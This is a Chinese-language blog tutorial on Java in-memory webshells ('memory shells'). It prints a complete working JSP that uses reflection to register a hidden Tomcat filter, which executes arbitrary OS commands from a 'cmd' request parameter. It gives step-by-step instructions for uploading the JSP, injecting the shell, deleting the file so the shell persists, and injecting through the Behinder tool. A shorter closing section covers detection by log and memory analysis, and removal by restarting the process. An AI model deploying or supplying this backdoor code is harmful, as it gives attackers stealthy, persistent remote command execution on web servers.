简谈Java内存马的攻与防
内存马基础知识
什么是Java内存马
本文以Java内存马这一主流为样本进行分析,市面上主流利用和研究对象依旧是Java内存马,当然也存在其他语言类型内存马,但是出现和利用次数微乎其微。
我们在学习Java的时候都学习过路由的相关知识,顾名思义内存马就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,其运行时主要在内存中执行,无本地落地文件或者运行后将自身删除并存在内存中,存在与内存中,与一般的木马相比 隐藏性极高且通过动态添加恶意组件,如servlet、filter、listener等,或者利用Java的instrument机制动态注入agent,在Java内存中动态修改字节码,实现根据请求的参数执行任意代码。
PS:本篇文章只是简单介绍一下Java内存马的相关知识和简单使用以及日常攻防中的检测,细致分析请看后面的文章:Java内存马(一)(二)(三)
Java内存马特点
- 无文件落地:与传统webshell不同,Java内存马不依赖于磁盘上的文件,因此更难被安全设备检测到
- 隐蔽性强:由于内存马存在于内存中,不留下任何文件痕迹,使得其隐蔽性极高
- 动态注入:Java内存马可以通过动态注册新的组件或修改字节码的方式,实现恶意代码的注入和执行
Java内存马类型
Servlet-API型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马。
- filter型
- servlet型
字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
sping类
- 拦截器
- Controller型
Java三大组件
关于三大组件相比大家都已经不陌生,在Java Web中有三大组件分别是Servlet, Filter,Listener。
Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
Filter
Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
Listener
监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。
写入内存马的方式
fastjson RCE
Shiro RCE
文件上传
webshell
.....
动态插入filter内存马
搭建Java环境
这里直接用现成的tomcat即可,或者随便拿个用tomcat的项目就行
windows下直接执行startup.bat后访问http://localhost:8080
查看页面是否正常
Java内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" >
<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmd=calc -->
<%
class DefaultFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
%>
<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/abcd");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>
关键代码及使用
如何使用
<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmd=calc -->
上传jsp马
实战上传的方式就太多了,rce、文件上传等等灵活发挥,这里演示我就直接放到目录下面了
步骤为:
上传jsp马
执行jsp文件
连接jsp马并且进行操作
执行jsp马
直接执行shell.jsp,访问路径http://localhost:8080/examples/shell.jsp
可以看到显示Inject success! 说明已经注入成功了
连接jsp马
代码里面定义了连接的路径和执行的方式
http://localhost:8080/examples/abcd?cmd=
测试一下,功能正常
测试
注入成功后,我们将jsp马删掉
再执行一下看是否执行成功,可以看到依旧执行成功
冰蝎写内存马
前置条件
写入shell
实现
冰蝎从3.0开始已经支持注入内存马的功能
环境依旧是上文中的tomcat,前期已经写入shell
来利用这个shell一键注入内存马
注入的路径如下:examples/memshell
注入以后会自动生成路径,http://192.168.1.3:8080/examples/memshell
测试一下功能正常
删除jsp马
把前面shell删除掉
测试内存马是否存活,内存马可正常使用
Java内存马检测与处置
检测
日志分析
正常执行shell后,例如我们上方执行的ipconfig,我们通过日志分析,可以看到相关的日志,其日志文件的格式为:
localhost_access_log.2024-06-29.txt
实战中日志不会只有这么一点,所以要从各类安全设备以及痕迹中找到关键字段配合日志进行分析
内存分析
由于内存马是以内存的形式存在的,所以其没有落地文件,是无法通过文件检测查找的,但是可以通过内存的方式查找。
1、分析执行的命令
还是以之前那个cmd=ipconfig
作为例子
直接使用processhacker来分析一下内存
内存里面的数据比较多,我们直接保存为txt,可以看到51万多行,然后过滤ipconfig,来看一下最终的结果:
通过内存是可以分析的,其数据是写入到内存中的,所以可以通过分析内存来分析其是否存在相关的木马。
2、分析jsp文件
由于在写内存马时前期会注入一个shell.jsp的文件,并且该文件注入成功以后本地就不需要,一般都不会将该文件放到web服务器中,主要是防止被安全分析人员发现,这个时候我们可以对比分析本地的jsp文件和内存中jsp文件是否一致,从而来判断是否存在内存马,但是这种方式只是在实验的环境中使用,没有在实战中使用,该方法的z`可行性有待于实战检测。
3、内存中的Filter检测
这种人为的检测是通过对内存中的Filter进行逐一的拆分检测,由于攻击者会对内存马进行混淆,其检测难度非常高。
4、监控中间件
对Java中间件进行Hook或代理,把相关流量经过Agent转发,再对其中的shellcode进行检测,或者类似于HIDS那种对操作行为进行检测。
处置
1、重启进程
这个是最简单有效的方法,就是重启进程。
重启之后,页面可以正常打开,但是内存马无法执行
2、清除恶意Filter
优秀内存马检测实践
1.《杂谈Java内存Webshell的攻与防》
https://zhuanlan.zhihu.com/p/227862004
2.《基于内存 Webshell 的无文件攻击技术研究》
https://www.anquanke.com/post/id/198886
3.《JSP Webshell那些事——攻击篇(下)》
https://www.anquanke.com/post/id/214483#h3-13
4.《tomcat 结合shiro 无文件webshell 的技术研究以及检测方法》
https://paper.seebug.org/1233/
5.《【原创】利用“进程注入”实现无文件不死webshell》
https://www.cnblogs.com/rebeyond/p/9686213.html
6.《Tomcat容器攻防笔记之Valve内存马出世》
https://www.anquanke.com/post/id/225870
7.《基于javaAgent内存马检测查杀指南》
https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg
8.《中间件内存马注入&冰蝎连接》
https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g
9.《Tomcat 基于 Servlet 的无文件 webshell 的相关技术研究》
https://paper.seebug.org/1254/
10.《Tomcat 内存马检测》
https://www.anquanke.com/post/id/219177
11.《JBOSS 无文件 webshell 的技术研究》
https://paper.seebug.org/1252/
12.《weblogic 无文件 webshell 的技术研究》
https://paper.seebug.org/1249/